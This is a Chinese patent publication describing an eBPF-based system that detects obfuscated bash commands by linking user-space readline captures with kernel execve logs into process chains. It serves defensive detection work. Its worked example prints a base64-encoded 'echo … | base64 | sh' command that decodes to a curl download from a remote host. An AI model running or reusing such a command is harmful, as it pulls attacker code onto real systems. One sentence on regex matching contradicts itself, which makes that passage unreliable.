掌桥专利:专业的专利平台
掌桥专利
首页

混淆bash命令检测方法、装置、设备、系统和介质

文献发布时间:2024-04-18 19:58:30


混淆bash命令检测方法、装置、设备、系统和介质

技术领域

本公开涉及计算机技术领域,尤其涉及一种混淆bash命令检测方法、装置、设备、系统和介质。

背景技术

随着网络技术的发展,应用程序的服务器存在被攻击的风险。攻击者为了避开服务器的入侵检测,会恶意编码混淆一些bash命令,以将其入侵操作伪装为无威胁特征的bash命令。所以,需要一些检测恶意混淆bash命令的方案,来应对上述安全威胁。

目前,主流的混淆bash命令检测方法主要有两种。一种是通过Netlink或者Audit规则等方式实时获取服务器中进程执行的原始日志,通过分析日志和规则匹配,发现其中的恶意bash命令。但是,该方案在碰到管道符、重定向时无法采集完整的原始命令,致使检测失效。另一种是利用自定义bash替换系统内置的bash,并在自定义bash二进制中内置审计操作,以审计bash命令是否正常。但是,该方案在bash命令混淆后便会检测失效。

所以,目前的混淆bash命令检测方法均无法更加有效地检测出恶意混淆的bash命令,从而威胁到服务器安全。

发明内容

为了解决上述技术问题,本公开实施例提供了一种混淆bash命令检测方法、装置、设备、系统和介质。

第一方面,本公开实施例提供了一种混淆bash命令检测方法,该方法包括:

在应用程序运行过程中,利用用户态钩子函数对按行读取函数进行拦截处理,确定执行的bash进程的输入命令信息;其中,所述输入命令信息包括所述bash进程的第一进程标识和第一进程命令行;

确定所述应用程序对应的服务器的进程日志;其中,所述进程日志为所述服务器利用内核态钩子函数对执行程序函数进行拦截处理而获得;所述进程日志用于记录所述服务器中启动的各进程的进程关联信息,所述进程关联信息包括所述进程的第二进程标识、第二进程命令行、所述进程的父进程的第三进程标识和所述父进程的第三进程命令行;

基于所述输入命令信息和所述进程日志,生成所述bash进程对应的进程执行链;所述进程执行链用于检测所述bash进程对应的bash命令是否属于违规的混淆bash命令。

第二方面,本公开实施例还提供了一种混淆bash命令检测装置,该装置包括:

输入命令信息确定模块,用于在应用程序运行过程中,利用用户态钩子函数对按行读取函数进行拦截处理,确定执行的bash进程的输入命令信息;其中,所述输入命令信息包括所述bash进程的第一进程标识和第一进程命令行;

进程日志确定模块,用于确定所述应用程序对应的服务器的进程日志;其中,所述进程日志为所述服务器利用内核态钩子函数对执行程序函数进行拦截处理而获得;所述进程日志用于记录所述服务器中启动的各进程的进程关联信息,所述进程关联信息包括所述进程的第二进程标识、第二进程命令行、所述进程的父进程的第三进程标识和所述父进程的第三进程命令行;

进程执行链生成模块,用于基于所述输入命令信息和所述进程日志,生成所述bash进程对应的进程执行链;所述进程执行链用于检测所述bash进程对应的bash命令是否属于违规的混淆bash命令。

第三方面,本公开实施例还提供了一种混淆bash命令检测系统,该系统包括:通信连接的至少一个用户态装置、内核态装置、控制装置、存储装置和展示装置;

所述用户态装置,用于执行如下操作:

在应用程序运行过程中,利用用户态钩子函数对按行读取函数进行拦截处理,确定执行的bash进程的输入命令信息;其中,所述输入命令信息包括所述bash进程的第一进程标识和第一进程命令行;

接收所述内核态装置发送的所述应用程序对应的服务器的进程日志;其中,所述进程日志用于记录所述服务器中启动的各进程的进程关联信息,所述进程关联信息包括所述进程的第二进程标识、第二进程命令行、所述进程的父进程的第三进程标识和所述父进程的第三进程命令行;

基于所述输入命令信息和所述进程日志,生成所述bash进程对应的进程执行链;所述进程执行链用于检测所述bash进程对应的bash命令是否属于违规的混淆bash命令;

所述内核态装置,用于利用内核态钩子函数对执行程序函数进行拦截处理,获得所述进程日志,并将所述进程日志发送至所述用户态装置;

所述控制装置,用于配置所述输入命令信息和所述进程日志的收集策略、所述进程执行链的生成策略和利用所述进程执行链进行所述bash命令是否属于违规的混淆bash命令的检测策略;

所述存储装置,用于存储所述用户态装置发送的所述进程执行链、所述内核态装置发送的所述进程日志和所述控制装置发送的所述收集策略、所述生成策略所述检测策略;

所述展示装置,用于展示利用所述进程执行链进行所述bash命令是否属于违规的混淆bash命令的检测结果。

第四方面,本公开实施例还提供了一种的电子设备,该电子设备包括:

处理器和存储器;

所述处理器通过调用所述存储器存储的程序或指令,用于执行本公开任意实施例中所说明的混淆bash命令检测方法的步骤。

第五方面,本公开实施例还提供了一种计算机可读存储介质,所述计算机可读存储介质存储程序或指令,所述程序或所述指令使计算机执行本公开任意实施例中所说明的混淆bash命令检测方法的步骤。

本公开实施例提供的混淆bash命令检测方法、装置、设备、系统和介质,可以在应用程序运行过程中,利用用户态钩子函数对按行读取函数进行拦截处理,确定执行的bash进程的输入命令信息;其中,输入命令信息包括bash进程的第一进程标识和第一进程命令行;确定应用程序对应的服务器的进程日志;其中,进程日志为服务器利用内核态钩子函数对执行程序函数进行拦截处理而获得;进程日志用于记录服务器中启动的各进程的进程关联信息,进程关联信息包括进程的第二进程标识、第二进程命令行、进程的父进程的第三进程标识和父进程的第三进程命令行;基于输入命令信息和进程日志,生成bash进程对应的进程执行链;进程执行链用于检测bash进程对应的bash命令是否属于违规的混淆bash命令;实现了从用户态收集bash进程的所有输入命令,并从内核态收集服务器中所有执行进程的进程关联信息,提高了服务器的进程日志收集的时效性和完整性,降低进程日志的漏报率;并且,更多的进程日志在内核态收集完成,对应用程序透明、无感知,且不用根据“/proc”文件系统去补全bash进程日志,降低了用户态程序的资源消耗;另外,可以通过用户态的bash进程的信息对内核态的完整进程信息进行过滤处理,并建立服务器的完整进程执行链,为恶意/违规混淆bash命令的检测提供了更加准确的基础数据,从而提高后续恶意/违规混淆bash命令的检测准确性和有效性。

附图说明

此处的附图被并入说明书中并构成本说明书的一部分,示出了符合本公开的实施例,并与说明书一起用于解释本公开的原理。

为了更清楚地说明本公开实施例或现有技术中的技术方案,下面将对实施例或现有技术描述中所需要使用的附图作简单地介绍,显而易见地,对于本领域普通技术人员而言,在不付出创造性劳动性的前提下,还可以根据这些附图获得其他的附图。

图1为本公开实施例提供的一种混淆bash命令检测系统的结构示意图;

图2为本公开实施例提供的一种混淆bash命令检测方法的流程示意图;

图3为本公开实施例提供的另一种混淆bash命令检测方法的流程示意图;

图4为本公开实施例提供的一种混淆bash命令检测装置的结构示意图;

图5为本公开实施例提供的一种电子设备的结构示意图。

具体实施方式

为了能够更清楚地理解本公开的上述目的、特征和优点,下面将对本公开的方案进行进一步的详细描述。需要说明的是,在不冲突的情况下,本公开的实施例及实施例中的特征可以相互组合。

在下面的描述中阐述了很多具体细节以便于充分理解本公开,但本公开还可以采用其他不同于在此描述的方式来实施;显然,说明书中的实施例只是本公开的一部分实施例,而不是全部的实施例。

本公开实施例提供的混淆bash命令检测方法,主要适用于服务器安全检测的场景,尤其适用于对服务器中混淆bash命令进行检测的场景。

图1为本公开实施例提供的一种混淆bash命令检测系统的结构示意图。如图1所示,该混淆bash命令检测系统包括:通信连接的至少一个用户态装置110、内核态装置120、控制装置130、存储装置140和展示装置150。

用户态装置110可以为分布式设置,其至少用于执行如下操作:

在应用程序运行过程中,利用用户态钩子函数对按行读取函数进行拦截处理,确定执行的bash进程的输入命令信息;其中,输入命令信息包括bash进程的第一进程标识和第一进程命令行;

接收内核态装置发送的应用程序对应的服务器的进程日志;其中,进程日志用于记录服务器中启动的各进程的进程关联信息,进程关联信息包括进程的第二进程标识、第二进程命令行、进程的父进程的第三进程标识和父进程的第三进程命令行;

基于输入命令信息和进程日志,生成bash进程对应的进程执行链;进程执行链用于检测bash进程对应的bash命令是否属于违规的混淆bash命令。

可选地,用户态装置110还可用于:加载内核态装置120的功能模块到内核或从内核卸载;开启或关闭进程日志的采集功能;通过eBPF map数据结构接收内核态装置120采集到的进程日志;在确定bash命令属于违规的混淆bash命令时,生成告警信息,并将其上报给存储装置140。

内核态装置120是对服务器内核进行处理的装置,其至少用于利用内核态钩子函数对执行程序函数进行拦截处理,获得进程日志,并将进程日志发送至用户态装置110。

控制装置130,用于配置输入命令信息和进程日志的收集策略、进程执行链的生成策略和利用进程执行链进行bash命令是否属于违规的混淆bash命令的检测策略,以动态配置更新的方式,提升服务器安全策略变更和扩展的便捷性和高效性。上述各种策略的配置可以是用户自行输入配置,也可以是业务方人员预先配置。

可选地,控制装置130还可以用于:接收来自用户态装置110发送的告警信息,并根据告警级别、告警类型、告警来源等信息进行分类处理,解析并聚合告警后写入存储装置140。

存储装置140为服务器中设置的、用于存储各类信息的装置,其至少用于存储用户态装置发送的进程执行链、内核态装置发送的进程日志和控制装置发送的收集策略、生成策略检测策略。

展示装置150,用于展示利用进程执行链进行bash命令是否属于违规的混淆bash命令的检测结果。

可选地,展示装置150还可用于展示上述控制装置130中各种策略的设置界面,以便用户或业务方人员进行上述策略的交互式变更。

图2是本公开实施例提供的一种混淆bash命令检测方法的流程图。本公开实施例提供的混淆bash命令检测方法可以由混淆bash命令检测装置,即图1所示的混淆bash命令检测装系统中的用户态装置110来执行,该装置可以由软件和/或硬件的方式实现,该装置可以集成在上述具有安装有应用程序且具有一定的计算能力的电子设备中,例如手机、掌上电脑、平板电脑、笔记本电脑或台式电脑等。

参见图2,该混淆bash命令检测方法具体包括:

S210、在应用程序运行过程中,利用用户态钩子函数对按行读取函数进行拦截处理,确定执行的bash进程的输入命令信息,该输入命令信息包括bash进程的第一进程标识和第一进程命令行。

其中,用户态钩子函数是基于eBPF技术实现的用户态hook函数。输入命令信息是指bash进程对应的、输入的bash命令相关的信息。第一进程标识是用户态获得的、bash进程的唯一性的进程标识,例如可以是进程PID。第一进程命令行是指用户态获得的、bash进程的bash命令行。

具体地,若是应用程序的服务器遭到攻击,那么其攻击命令会在应用程序运行的过程中运行。所以,在应用程序运行过程中,用户态装置可以基于Linux eBPF技术,对bash二进制进行用户态hook,以拦截按行读取函数(如readline()或readlines())进行信息获取,得到包含执行的bash进程在内的所有输入命令信息。对于bash进程的输入命令信息,其至少可以包含进程名、第一进程标识和第一进程命令行。这样便可获得应用程序运行过程中运行的所有bash进程的输入命令信息,无需在后续过程中再根据“/proc”文件系统去补全bash进程日志,提高了进程日志的收集效率,降低了用户态程序的资源消耗。

在一些实施例中,S210包括:利用用户态钩子函数对按行读取函数进行拦截处理,获得命令行审计日志;在命令行审计日志中提取bash进程的信息,确定输入命令信息。

具体地,用户态装置对bash二进制进行用户态hook,拦截按行读取函数,可获得命令行审计日志。然后,从该命令行审计日志中提取出bash命令对应的输入命令信息。

S220、确定应用程序对应的服务器的进程日志;该进程日志为服务器利用内核态钩子函数对执行程序函数进行拦截处理而获得;该进程日志用于记录服务器中启动的各进程的进程关联信息,进程关联信息包括进程的第二进程标识、第二进程命令行、进程的父进程的第三进程标识和父进程的第三进程命令行。

其中,进程日志用于记录服务器中所有启动进程的进程关联信息,如进程的基本信息和运行参数等。内核态钩子函数是基于eBPF技术实现的内核态hook函数。第二进程标识是内核态获得的启动进程的唯一性的进程标识,例如可以是进程PID。第二进程命令行是指内核态获得的、启动进程的命令行。第三进程标识和第三进程命令行分别是某一个启动进程的父进程的进程标识和命令行。

具体地,用户态装置是分布式设置的,不同的用户态装置的运行情况可能不同,而不同的用户态装置运行所启用的bash命令行业可能不同。所以,本公开实施例中在用户态装置中进行bash进程的信息过滤,以获得更适配该用户态装置的bash进程的命令行和实际执行的进程情况等。

基于上述说明,用户态装置可以收集服务器内核态的进程日志。收集方式可以是从内核态装置读取其收集到的进程日志,或者内核态装置主动将其收集的进程日志传输至用户态装置。内核态装置收集进程日志的方式可以是基于Linux eBPF技术,对执行程序函数(如execve())进行内核态hook,获取服务器中启动的各进程的进程关联信息。

上述进程关联信息除了包含上述每个进程的第二进程标识PID、第二进程命令行、该进程的父进程的第三进程标识PID和该进程的父进程的第三进程命令行之外,还可以包含进程名、进程NSPID、进程文件路径、进程工作路径、父进程名、父进程NSPID、父进程文件路径、父进程工作路径、会话ID等。

在一些实施例中,S220包括:接收服务器通过基于eBPF技术的map键值对对象而传输的进程日志。

具体地,内核态装置可以通过基于eBPF技术的map键值对对象,将其收集到的启动进程的进程日志传输至用户态装置。

S230、基于输入命令信息和进程日志,生成bash进程对应的进程执行链;该进程执行链用于检测bash进程对应的bash命令是否属于违规的混淆bash命令。

其中,进程执行链是多个进程连续执行的顺序链,其可以是与bash进程相关的进程链,也可以是包含更多的上下游进程的完整进程链。

具体地,用户态装置收集的输入命令信息中记录了所有bash进程的进程信息,但其不包含实际执行的更多进程的进程信息,无法有效识别bash进程对应的bash命令是否属于恶意违规的命令行;内核态装置收集的进程日志中记录了所有启动进程(含bash进程)的更多的进程信息,但其无法标识哪些进程属于bash进程。所以,本公开实施例中,可以利用输入命令信息中的bash进程的信息对进程日志中的进程关联信息进行过滤,得到进程日志中与bash进程有关的所有进程的信息,并对其进行聚合处理,得到该bash进程的行为以及在bash进程基础上衍生的所有进程行为,即进程执行链。该进程执行链中包含了混淆bash命令行及其对应的实际中执行的完整的前后进程信息,所以,可以用于更加有效地检测混淆bash命令行是否属于违规的混淆bash命令。

本公开上述各实施例提供的混淆bash命令检测方法,可以在应用程序运行过程中,利用用户态钩子函数对按行读取函数进行拦截处理,确定执行的bash进程的输入命令信息;其中,输入命令信息包括bash进程的第一进程标识和第一进程命令行;确定应用程序对应的服务器的进程日志;其中,进程日志为服务器利用内核态钩子函数对执行程序函数进行拦截处理而获得;进程日志用于记录服务器中启动的各进程的进程关联信息,进程关联信息包括进程的第二进程标识、第二进程命令行、进程的父进程的第三进程标识和父进程的第三进程命令行;基于输入命令信息和进程日志,生成bash进程对应的进程执行链;进程执行链用于检测bash进程对应的bash命令是否属于违规的混淆bash命令;通过利用Linux eBPF技术从用户态收集bash进程的所有输入命令,并从内核态收集服务器中所有执行进程的进程关联信息,提高了服务器的进程日志收集的时效性和完整性,降低了日志收集的漏报率和误报率,而且,其可以在不修改内核源代码的情况下扩展和定制监控功能;并且,更多的进程日志在内核态收集完成,对应用程序透明、无感知,且不用根据“/proc”文件系统去补全bash进程日志,降低了用户态程序的资源消耗;另外,可以通过用户态的bash进程的信息对内核态的完整进程信息进行过滤处理,并建立服务器的完整进程执行链,为恶意/违规混淆bash命令的检测提供了更加准确的基础数据,从而提高后续意/违规混淆bash命令的检测准确性和有效性。

图3是本公开实施例提供的另一种混淆bash命令检测方法的流程图。其对“基于输入命令信息和进程日志,生成bash进程对应的进程执行链”进行了进一步优化////将“(步骤内容)”变更为“(步骤内容)”。在此基础上,也可以进一步增加“检测bash进程对应的bash命令是否属于违规的混淆bash命令”的步骤。在上述基础上,还可以进一步增加“定位bash命令的攻击者”的步骤。其中与上述各实施例相同或相应的术语的解释在此不再赘述。参见图3,该混淆bash命令检测方法包括:

S310、在应用程序运行过程中,利用用户态钩子函数对按行读取函数进行拦截处理,获得命令行审计日志。

S320、在命令行审计日志中提取bash进程的信息,确定输入命令信息。

S330、接收服务器通过基于eBPF技术的map键值对对象而传输的应用程序对应的服务器的进程日志。

S340、基于第一进程标识,对进程关联信息进行过滤处理,确定进程关联信息中与bash进程对应的目标进程标识。

具体地,用户态装置将bash进程对应的第一进程标识与进程关联信息中包含的各进程的第二进程标识、相应父进程的第三进程标识进行进程标识的匹配,筛选出与第一进程标识匹配成功的第二进程标识和/或第三进程标识,即目标进程标识。

S350、基于第一进程命令行,以及进程关联信息中与目标进程标识对应的第二进程标识、第二进程命令行、第三进程标识和第三进程命令行,构建bash进程对应的进程执行链。

具体地,提取进程关联信息中与目标进程标识相关的第二进程标识、第二进程命令行、第三进程标识和第三进程命令行,并对上述提取的信息、父子进程的关系、bash进程对应的第一进程标识和第一进程命令行进行聚合分析,得到bash进行的进程执行链。

例如,以混淆bash命令行“echo Y3VybCBodHRwOi8vMTAuMjUzLjM0LjE4Njo4ODg4L2hhY2s=|base64|sh”为例:

用户态装置hook按行读取函数readline()会获取“bash(1838)->[echo Y3VybCBodHRwOi8vMTAuMjUzLjM0LjE4Njo4ODg4L2hhY2s=|base64]”的输入命令信息,即bash进程的第一进程标识PID为1838,第一进程命令行为“echo Y3VybCBodHRwOi8vMTAuMjUzLjM0LjE4Njo4ODg4L2hhY2s=|base64”。

内核态装置hook程序执行函数execve()会获取以下三个进程:

1871 base64--decode

1872 sh

--1873 curl

其中,base64进程的第二进程标识PID是1871,其父进程的第三进程标识PID是1838;sh进程的第二进程标识PID是1872,其父进程的第三进程标识PID是1838;curl进程的第二进程标识PID是1873,其父进程是sh,则父进程的第三标识PID是1872。

根据上述信息,可获得如下的、与bash进程相关的进程执行链:

1838bash

--1871 base64--decode

--1872 sh

--1873 curl

上述与bash进程相关的进程执行链既能反映出bash进程的混淆命令行,又能反映出实际执行的各进程及其关系,从而可完整且全面地反映bash进程的信息,进而为后续混淆bash命令行是否属于恶意混淆的bash命令提供了更加有效的数据基础。

而现有技术中通过原始日志的检测方案,只能获得PID为1871、1872和1873的三个进程的命令行,而无法获得“echoY3VybCBodHRwOi8vMTAuMjUzLjM0LjE4Njo4ODg4L2hhY2s=|base64|sh”的完整命令行,其仅能识别三个独立的进行是否合规,而无法检测完整的混淆bash命令行是否属于恶意混淆的bash命令。

而现有技术中通过自定义bash内置审计操作的方案,在碰到“echoY3VybCBodHRwOi8vMTAuMjUzLjM0LjE4Njo4ODg4L2hhY2s=|base64|sh”的混淆命令行后,其原本定义的审计操作很可能失效,导致无法有效检测该完整的混淆bash命令行是否属于恶意混淆的bash命令。

S360、基于预设命令行和预设进程名,对进程执行链进行正则匹配,并在匹配成功时,确定bash进程对应的bash命令属于违规的混淆bash命令。

具体地,控制装置中可预先配置恶意混淆bash命令对应的预设命令行和预设进程名,并将其传输至用户态装置。用户态装置可将上述获得的进程执行链中的命令行和进程名分别与预设命令行和预设进程名进行正则匹配。如果进程执行链匹配失败,则认为上述bash命令属于正常的混淆bash命令。如果进程执行链有至少一处匹配失败,则认为上述bash命令属于恶意的混淆bash命令。

S370、生成混淆bash命令违规的告警信息。

具体地,用户态装置可根据进程执行链中执行的实际进程的作用/功能,判断上述混淆bash命令违规的严重程度,然后在根据该严重程度来生成告警信息。之后,可通过各种通信方式,将该告警信息按照其严重程度对应的方式,发送至对应的维护人员或安全报警装置。

S380、从进程执行链中确定登录操作对应的登录进程的第四进程标识。

其中,第四进程标识是登录进程的唯一性的进程标识PID。

具体地,上述进程执行链中可以包含与bash进程有关的所有上下游的启动进程的信息。此时,用户态装置可以从该进程执行链中查找出登录操作对应的登录进程的第四进程标识。

S390、基于第四进程标识查找安全日志,并从安全日志中确定bash命令对应的登录信息;该登录信息用于定位输入bash命令的攻击者。

具体地,用户态装置可以根据第四进程标识查找安全日志。然后,从安全日志中提取上述bash命令对应的登录信息。该登录信息至少可以包含攻击者IP、端口等信息,从而帮助定位到输入上述恶意混淆的bash命令的攻击者。

本公开实施例的上述技术方案,通过关联分析bash进程的输入命令信息和进程关联信息来构建进程执行链,并通过进程执行链的正则匹配判定该bash命令对应的操作是否恶意,解决了bash命令混淆后检测规则失效的问题,进一步提高了恶意混淆的bash命令的检测效率和检测准确性。并且,通过进程执行链可以有效识别恶意混淆bash命令对服务器安全的威胁程度,提高告警的准确性和高效性。另外,通过进程执行链可以更加快速且准确地定位到攻击者的信息,提高后续应对攻击者的处理效率。

图4为本公开实施例提供的一种混淆bash命令检测装置的结构示意图。如图4所示,该混淆bash命令检测装置400包括:

输入命令信息确定模块410,用于在应用程序运行过程中,利用用户态钩子函数对按行读取函数进行拦截处理,确定执行的bash进程的输入命令信息;其中,输入命令信息包括bash进程的第一进程标识和第一进程命令行;

进程日志确定模块420,用于确定应用程序对应的服务器的进程日志;其中,进程日志为服务器利用内核态钩子函数对执行程序函数进行拦截处理而获得;进程日志用于记录服务器中启动的各进程的进程关联信息,进程关联信息包括进程的第二进程标识、第二进程命令行、进程的父进程的第三进程标识和父进程的第三进程命令行;

进程执行链生成模块430,用于基于输入命令信息和进程日志,生成bash进程对应的进程执行链;进程执行链用于检测bash进程对应的bash命令是否属于违规的混淆bash命令。

通过本公开实施例提供的一种混淆bash命令检测装置,可以在应用程序运行过程中,利用用户态钩子函数对按行读取函数进行拦截处理,确定执行的bash进程的输入命令信息;其中,输入命令信息包括bash进程的第一进程标识和第一进程命令行;确定应用程序对应的服务器的进程日志;其中,进程日志为服务器利用内核态钩子函数对执行程序函数进行拦截处理而获得;进程日志用于记录服务器中启动的各进程的进程关联信息,进程关联信息包括进程的第二进程标识、第二进程命令行、进程的父进程的第三进程标识和父进程的第三进程命令行;基于输入命令信息和进程日志,生成bash进程对应的进程执行链;进程执行链用于检测bash进程对应的bash命令是否属于违规的混淆bash命令;实现了从用户态收集bash进程的所有输入命令,并从内核态收集服务器中所有执行进程的进程关联信息,提高了服务器的进程日志收集的时效性和完整性,降低进程日志的漏报率;并且,更多的进程日志在内核态收集完成,对应用程序透明、无感知,且不用根据“/proc”文件系统去补全bash进程日志,降低了用户态程序的资源消耗;另外,可以通过用户态的bash进程的信息对内核态的完整进程信息进行过滤处理,并建立服务器的完整进程执行链,为恶意/违规混淆bash命令的检测提供了更加准确的基础数据,从而提高后续意/违规混淆bash命令的检测准确性和有效性。

在一些实施例中,进程执行链生成模块430具体用于:

基于第一进程标识,对进程关联信息进行过滤处理,确定进程关联信息中与bash进程对应的目标进程标识;

基于第一进程命令行,以及进程关联信息中与目标进程标识对应的第二进程标识、第二进程命令行、第三进程标识和第三进程命令行,构建bash进程对应的进程执行链。

在一些实施例中,混淆bash命令检测装置400还包括混淆bash命令检测模块,用于:

在基于输入命令信息和进程日志,生成bash进程对应的进程执行链之后,基于预设命令行和预设进程名,对进程执行链进行正则匹配,并在匹配成功时,确定bash进程对应的bash命令属于违规的混淆bash命令;

生成混淆bash命令违规的告警信息。

在一些实施例中,混淆bash命令检测装置400还包括攻击者定位模块,用于:

在确定bash进程对应的bash命令属于违规的混淆bash命令之后,从进程执行链中确定登录操作对应的登录进程的第四进程标识;

基于第四进程标识查找安全日志,并从安全日志中确定bash命令对应的登录信息;登录信息用于定位输入bash命令的攻击者。

在一些实施例中,输入命令信息确定模块410具体用于:

利用用户态钩子函数对按行读取函数进行拦截处理,获得命令行审计日志;

在命令行审计日志中提取bash进程的信息,确定输入命令信息。

在一些实施例中,进程日志确定模块420具体用于:

接收服务器通过基于eBPF技术的map键值对对象而传输的进程日志。

本公开实施例所提供的混淆bash命令检测装置可执行本公开任意实施例所提供的混淆bash命令检测方法,具备执行方法相应的功能模块和有益效果。

值得注意的是,上述混淆bash命令检测装置的实施例中,所包括的各个模块只是按照功能逻辑进行划分的,但并不局限于上述的划分,只要能够实现相应的功能即可;另外,各功能模块的具体名称也只是为了便于相互区分,并不用于限制本公开的保护范围。

图5为本公开实施例提供的一种电子设备的结构示意图。如图5所示,电子设备500包括一个或多个处理器501和存储器502。

处理器501可以是中央处理单元(CPU)或者具有数据处理能力和/或指令执行能力的其他形式的处理单元,并且可以控制电子设备500中的其他组件以执行期望的功能。

存储器502可以包括一个或多个计算机程序产品,计算机程序产品可以包括各种形式的计算机可读存储介质,例如易失性存储器和/或非易失性存储器。易失性存储器例如可以包括随机存取存储器(RAM)和/或高速缓冲存储器(cache)等。非易失性存储器例如可以包括只读存储器(ROM)、硬盘、闪存等。在计算机可读存储介质上可以存储一个或多个计算机程序指令,处理器501可以运行程序指令,以实现上文所说明的本公开实施例的混淆bash命令检测方法以及/或者其他期望的功能。在计算机可读存储介质中还可以存储诸如输入信号、信号分量、噪声分量等各种内容。

在一个示例中,电子设备500还可以包括:输入装置503和输出装置504,这些组件通过总线系统和/或其他形式的连接机构(未示出)互连。该输入装置503可以包括例如键盘、鼠标等等。该输出装置504可以向外部输出各种信息,包括确定出的距离信息、方向信息等。该输出装置504可以包括例如显示器、扬声器、打印机、以及通信网络及其所连接的远程输出设备等等。

当然,为了简化,图5中仅示出了该电子设备500中与本公开有关的组件中的一些,省略了诸如总线、输入/输出接口等等的组件。除此之外,根据具体应用情况,电子设备500还可以包括任何其他适当的组件。

除了上述方法和设备以外,本公开的实施例还可以是计算机程序产品,其包括计算机程序指令,所述计算机程序指令在被处理器运行时使得所述处理器执行本公开实施例所提供的混淆bash命令检测方法。

所述计算机程序产品可以以一种或多种程序设计语言的任意组合来编写用于执行本公开实施例操作的程序代码,所述程序设计语言包括面向对象的程序设计语言,诸如Java、C++等,还包括常规的过程式程序设计语言,诸如“C”语言或类似的程序设计语言。程序代码可以完全地在用户计算设备上执行、部分地在用户设备上执行、作为一个独立的软件包执行、部分在用户计算设备上部分在远程计算设备上执行、或者完全在远程计算设备或服务器上执行。

此外,本公开的实施例还可以是计算机可读存储介质,其上存储有计算机程序指令,所述计算机程序指令在被处理器运行时使得所述处理器执行本公开实施例所提供的混淆bash命令检测方法。

所述计算机可读存储介质可以采用一个或多个可读介质的任意组合。可读介质可以是可读信号介质或者可读存储介质。可读存储介质例如可以包括但不限于电、磁、光、电磁、红外线、或半导体的系统、装置或器件,或者任意以上的组合。可读存储介质的更具体的例子(非穷举的列表)包括:具有一个或多个导线的电连接、便携式盘、硬盘、随机存取存储器(RAM)、只读存储器(ROM)、可擦式可编程只读存储器(EPROM或闪存)、光纤、便携式紧凑盘只读存储器(CD-ROM)、光存储器件、磁存储器件、或者上述的任意合适的组合。

需要说明的是,本公开所用术语仅为了描述特定实施例,而非限制本申请范围。如本公开说明书和权利要求书中所示,除非上下文明确提示例外情形,“一”、“一个”、“一种”和/或“该”等词并非特指单数,也可包括复数。术语“和/或”包括一个或多个相关所列条目的任何一个和所有组合。诸如“第一”和“第二”等之类的关系术语仅仅用来将一个实体或者操作与另一个实体或操作区分开来,而不一定要求或者暗示这些实体或操作之间存在任何这种实际的关系或者顺序。术语“包括”、“包含”或者其任何其他变体意在涵盖非排他性的包含,从而使得包括一系列要素的过程、方法或者设备不仅包括那些要素,而且还包括没有明确列出的其他要素,或者是还包括为这种过程、方法或者设备所固有的要素。在没有更多限制的情况下,由语句“包括一个……”限定的要素,并不排除在包括所述要素的过程、方法或者设备中还存在另外的相同要素。

以上所述仅是本公开的具体实施方式,使本领域技术人员能够理解或实现本公开。对这些实施例的多种修改对本领域的技术人员来说将是显而易见的,本文中所定义的一般原理可以在不脱离本公开的精神或范围的情况下,在其它实施例中实现。因此,本公开将不会被限制于本文所述的这些实施例,而是要符合与本文所公开的原理和新颖特点相一致的最宽的范围。

相关技术
  • 远程命令执行漏洞的检测方法、装置、设备及存储介质
  • 多命令监测方法、装置、计算机设备及存储介质
  • 一种液位检测装置和包含其的设备以及液位检测方法、电子设备及计算机可读存储介质
  • 一种触觉信号检测方法、装置、系统、设备及存储介质
  • 一种存储系统的状态检测方法、装置、设备及存储介质
  • 系统命令注入漏洞检测方法和装置、设备及存储介质
  • 系统命令注入漏洞检测方法和装置、设备及存储介质
技术分类

06120116504606